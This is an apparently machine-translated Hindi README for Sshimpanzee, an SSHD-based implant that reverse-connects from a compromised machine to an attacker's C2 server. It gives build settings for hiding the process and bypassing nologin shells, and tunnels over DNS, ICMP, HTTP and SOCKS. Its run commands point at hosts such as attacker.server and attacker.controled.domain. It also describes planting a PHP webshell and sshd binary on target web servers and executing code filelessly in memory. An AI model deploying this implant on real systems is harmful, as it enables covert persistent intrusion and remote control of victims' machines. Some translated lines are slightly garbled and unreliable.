
SSHD आधारित इम्प्लांट जो C2 तक पहुँचने के लिए टनलिंग मैकेनिज्म का समर्थन करता है (DNS, ICMP, HTTP एनकैप्सुलेशन, HTTP/Socks प्रॉक्सी, UDP...)
Sshimpanzee आपको एक स्थिर रिवर्स ssh सर्वर बनाने की अनुमति देता है। पोर्ट पर सुनने और कनेक्शन की प्रतीक्षा करने के बजाय, ssh सर्वर हमलावर के आईपी पर रिवर्स कनेक्ट शुरू करेगा, ठीक एक सामान्य रिवर्स शेल की तरह। Sshimpanzee आपको एक सामान्य ssh कनेक्शन की हर सुविधा का लाभ उठाने की अनुमति देता है, जैसे पोर्ट फ़ॉरवर्ड, डायनेमिक SOCKS प्रॉक्सी, या FTP सर्वर।
इससे भी महत्वपूर्ण बात यह है कि यदि पीड़ित मशीन से हमलावर सर्वर तक सीधा कनेक्शन संभव नहीं है, तो यह विभिन्न टनलिंग तंत्र प्रदान करता है, जैसे DNS टनलिंग, ICMP टनलिंग, या HTTP एनकैप्सुलेशन। यह HTTP और SOCKS5 प्रॉक्सी का भी समर्थन करता है। लेक्सफो के ब्लॉग पर एक तकनीकी पेपर उपलब्ध है।
sudo docker build . --output .
sudo docker build . --platform arm64 --output .
आपको env var DOCKER_BUILDKIT=1 सक्षम करने की आवश्यकता हो सकती है
बिल्ड build.yaml फ़ाइल के आधार पर किया जाता है:
###
# यह sshimpanzee बिल्ड कॉन्फ़िगरेशन फ़ाइल है
# YAML का उपयोग यह वर्णन करने के लिए किया जाता है कि sshimpanzee को क्या व्यवहार और सुविधा मिलनी चाहिए
###
### सामान्य कॉन्फ़िग
process_name: "sshimpanzee" # प्रक्रिया का नाम जैसा कि ps में दिखाई देता है (फिर भी आप इस नाम से इसे मार नहीं पाएंगे)
banner: True # क्या बैनर लॉग में प्रदर्शित होना चाहिए
verbose: 3 # build/build.log में लिखे अनुसार वर्बोसिटी स्तर
shell: "/bin/sh" # उपयोगकर्ता के लिए डिफ़ॉल्ट शेल, /etc/passwd प्रविष्टियों को false या nologin शेल से बायपास करना
timer: 60*1000*1000 # मिलीसेकंड में समय, एक नए sshimpanzee चाइल्ड को फोर्क करने से पहले पिछले एक के बाहर निकलने के बाद। उदाहरण के लिए sock MODE में, पिछले sshd कनेक्शन के मरने के 1 मिनट बाद एक नया कनेक्शन बनाया जाएगा
keygen: True # बिल्ड के दौरान कुंजियाँ पुन: उत्पन्न करें, सुनिश्चित करें कि नई HOST और CLIENT कुंजियाँ उपयोग की गई हैं
public_key: #यदि नई कुंजियाँ पुन: उत्पन्न नहीं की गई हैं तो प्रमाणित करने के लिए एक सार्वजनिक क्लाइंट कुंजी निर्दिष्ट करना संभव है (केवल ed25519 कुंजियाँ समर्थित हैं)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"
make: True # इसे true रखें यदि आप चाहते हैं कि बिल्डर स्क्रिप्ट sshd बाइनरी उत्पन्न करे
force_clean_build: True # वर्तमान में डॉकर बिल्ड के लिए आवश्यक, बिल्डर स्क्रिप्ट को टनल और निर्भरताओं को फिर से संकलित करने के लिए मजबूर करेगा
reconf: True # डॉकर बिल्ड के लिए आवश्यक
### वातावरण
# sshimpanzee को रनटाइम पर पर्यावरण चर के माध्यम से कॉन्फ़िगर किया गया है, फिर भी, डिफ़ॉल्ट व्यवहार प्राप्त करने के लिए पर्यावरण चर को पूर्व निर्धारित करना संभव है
env:
if_not_set : # यहाँ के चर सेट किए जाएंगे यदि वे पहले से मौजूद नहीं हैं
REMOTE: 127.0.0.1
PORT: 8080
MODE: sock # MODE पर्यावरण चर का उपयोग डिफ़ॉल्ट टनल प्रबंधित करने के लिए किया जाता है
overwrite: # यहाँ के चर पहले से मौजूद चरों को ओवरराइट करेंगे
### टनल
# sshimpanzee विभिन्न टनलिंग तंत्रों के साथ आता है
# संकलन समय को गति देने के लिए, और अधिक महत्वपूर्ण रूप से हल्का बाइनरी प्राप्त करने के लिए, कुछ टनलों को शामिल या बहिष्कृत करना संभव है
# टनल संकलन पैरामीटर यहाँ निर्दिष्ट किए जा सकते हैं
tun:
sock:
enabled: True
icmp:
enabled: True
buildserv: True # क्या संबंधित ICMPTunnel सर्वर बनाया जाना चाहिए
raw_sock: False # पुराने कर्नेल के लिए रॉ सॉक के समर्थन के साथ बनाएं
http_enc :
enabled: True
key: # वेब शेल कुंजी, खाली होने पर एक नई कुंजी उत्पन्न होगी
target:
- "php" # भाषाओं की सूची जिसके लिए आप वेबशेल उत्पन्न करना चाहते हैं
path_fd: "/dev/shm/sshim" # फ़िफ़ो जिसका उपयोग sshimpanzee वेबशेल के साथ संवाद करने के लिए करेगा
dns:
enabled: True
resource: sshimpanzee # DNS2TCP संसाधन
key: sshimpanzee # DNS2TCP कुंजी
obfuscate: True # DNS2TCP मैजिक स्ट्रिंग को अस्पष्ट करना, यह संबंधित सर्वर के निर्माण को मजबूर करेगा
buildserv: False
qtype: TXT # DNS2TCP द्वारा उपयोग किए जाने वाले क्वेरी का प्रकार
proxysock:
enabled: True
no_build:
enabled: False
path: []
# Openssh सबसिस्टम
# man sshd_config Subsystems
subsystems:
internal_sftp: # openssh द्वारा प्रदान किया गया मानक sftp
enabled: True # scp और sftp के लिए आवश्यक है
name: sftp
exec: internal-sftp
is_internal: True
remote_exec: # Sshimpanzee कस्टम सबसिस्टम
enabled: True # फ़ाइललेस memfd तकनीक का उपयोग करके दूरस्थ निष्पादन
name: remote-exec
exec: internal-remote-exec
is_internal: True
python: # एक मानक ssh सबसिस्टम का उदाहरण
enabled: False
name: python
exec: /usr/bin/python -c "print('python code')"
is_internal: False
रनटाइम पर, sshimpanzee बाइनरी पर्यावरण चर के माध्यम से कॉन्फ़िगर किया जाता है।
MODE चर उपयोगकर्ता को संकलित टनलों के बीच चयन करने की अनुमति देता है।
प्रत्येक टनल को पर्यावरण चर के माध्यम से कॉन्फ़िगर किया जा सकता है।
उदाहरण के लिए, 127.0.0.1:8080 पर एक क्लासिक रिवर्स कनेक्ट प्राप्त करने के लिए निम्नलिखित का उपयोग करें:
MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee
-d के साथ debug मोड में sshimpanzee चलाना संभव है। Debug मोड में sshimpanzee अग्रभूमि में रहेगा।
वर्तमान में sshimpanzee इम्प्लांट के लिए हमलावर ssh क्लाइंट तक पहुँचने के कई तरीकों का समर्थन करता है:
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee
अन्य उदाहरण :
MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee # 127.0.0.1:8080 पर बाइंड और सुनें
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # यूनिक्स सॉकेट /tmp/sock से कनेक्ट करें
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # /tmp/sock यूनिक्स सॉकेट पर बाइंड और सुनें
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee
अन्य उदाहरण:
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
sudo ./dns2tcpd -F -f dns2tcpdrc
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee
अन्य उदाहरण :
MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # 8.8.8.8 DNS रिज़ॉल्वर का उपयोग करने के लिए बाध्य करें
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT
MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee
फ़ाइल /tuns/http_enc/proxy.php और sshd फ़ाइलों को अपने लक्ष्य वेब सर्वर पर अपलोड करें
सुनिश्चित करें कि proxy.php सही ढंग से निष्पादित हो
वेबसर्वर पर sshd बाइनरी चलाएँ
MODE=http_enc ./sshimpanzee
ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT
proxy_cli.py को प्रॉक्सी जोड़ने के लिए कई तर्क दिए जा सकते हैं। वर्तमान में केवल PHP समर्थित है। JSP सर्वर पर, अनुशंसित: A Black Path Toward The Sun (ABPTTS)
Proxy.php एक न्यूनतम वेबशेल है, आप इसका उपयोग sshd को सर्वर पर अपलोड करने और कमांड चलाने के लिए कर सकते हैं। proxy_cli.py ऐसा करने के लिए --run और --drop विकल्प प्रदान करता है।
आप एक बड़ा इनपुट अंतराल अनुभव कर सकते हैं, ऐसा इसलिए है क्योंकि ssh क्लाइंट द्वारा भेजे गए पैकेट में 1 से 5 सेकंड की देरी जोड़ी जाती है ताकि बहुत सारे HTTP अनुरोध उत्पन्न न हों। यदि आपको बहुत सारे HTTP अनुरोध (और इस प्रकार वेब सर्वर पर बहुत सारे लॉग) उत्पन्न करने में कोई आपत्ति नहीं है, तो proxy_cli.py कमांड में --no-buffer विकल्प जोड़ें।
यह रिपॉजिटरी utils/client/bin में स्थित एक क्लाइंट भी प्रदान करता है। बस utils/client/keys/ में CLIENT कुंजी कॉपी करें।
sshimpanzee --new PORT #पोर्ट पर एक नया लिसनर बनाएँ
sshimpanzee --new-dns #एक नया DNS लिसनर बनाएँ (utils/client/config/dnsconf.txt को संशोधित करना न भूलें)
sshimpanzee --new-icmp #एक नया ICMP लिसनर बनाएँ
sshimpanzee --new-http PROXY_PHP_URL #एक नया HTTP सत्र बनाएँ
sshimpanzee --list #उपलब्ध सत्रों की सूची बनाएँ
sshimpanzee --get SESSION_NUMBER #एक सत्र में जाने के लिए, अतिरिक्त पैरामीटर ssh पैरामीटर के रूप में पास किए जाते हैं
sshimpanzee --rename SESSION_NUMBER #एक सत्र का नाम बदलने के लिए
sshimpanzee --kill SESSION_NUMBER #एक सत्र को मारने के लिए
sshimpanzee #यह चुनने के लिए fzf का उपयोग करें कि आप कौन सा सत्र चाहते हैं
हालांकि यह सीधे ssh का उपयोग करने की तुलना में कम विश्वसनीय हो सकता है।
सभी टनल tuns/ निर्देशिका में उपलब्ध हैं। यदि आप एक और टनल जोड़ना चाहते हैं, तो बस tuns/builder.py में अपने टनल के नाम के साथ एक फ़ंक्शन जोड़ें। यह फ़ंक्शन एक libtun.a आर्काइव उत्पन्न करने के लिए जिम्मेदार है जिसमें आवश्यकतानुसार कई .o शामिल हों, उनमें से एक tun() प्रतीक निर्यात करता है। वैकल्पिक रूप से, आप स्वयं libtun.a बनाएँ और no_build नामक टनल का उपयोग करें, और अपने कस्टम libtun.a का पथ प्रदान करें
यदि sshimpanzee को remote-exec सबसिस्टम मॉड्यूल के साथ बनाया गया है, तो पूरी तरह से मेमोरी में दूरस्थ रूप से कोड निष्पादित करना संभव है।
python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1
यह रिपॉजिटरी कई अलग-अलग परियोजनाओं पर निर्भर करती है।
टनल के लिए:
यह ध्यान रखना महत्वपूर्ण है कि यह नहीं एक बहुत ही मूल परियोजना है, ssh प्रोटोकॉल को हथियार बनाना कई साल पहले किया जा चुका है: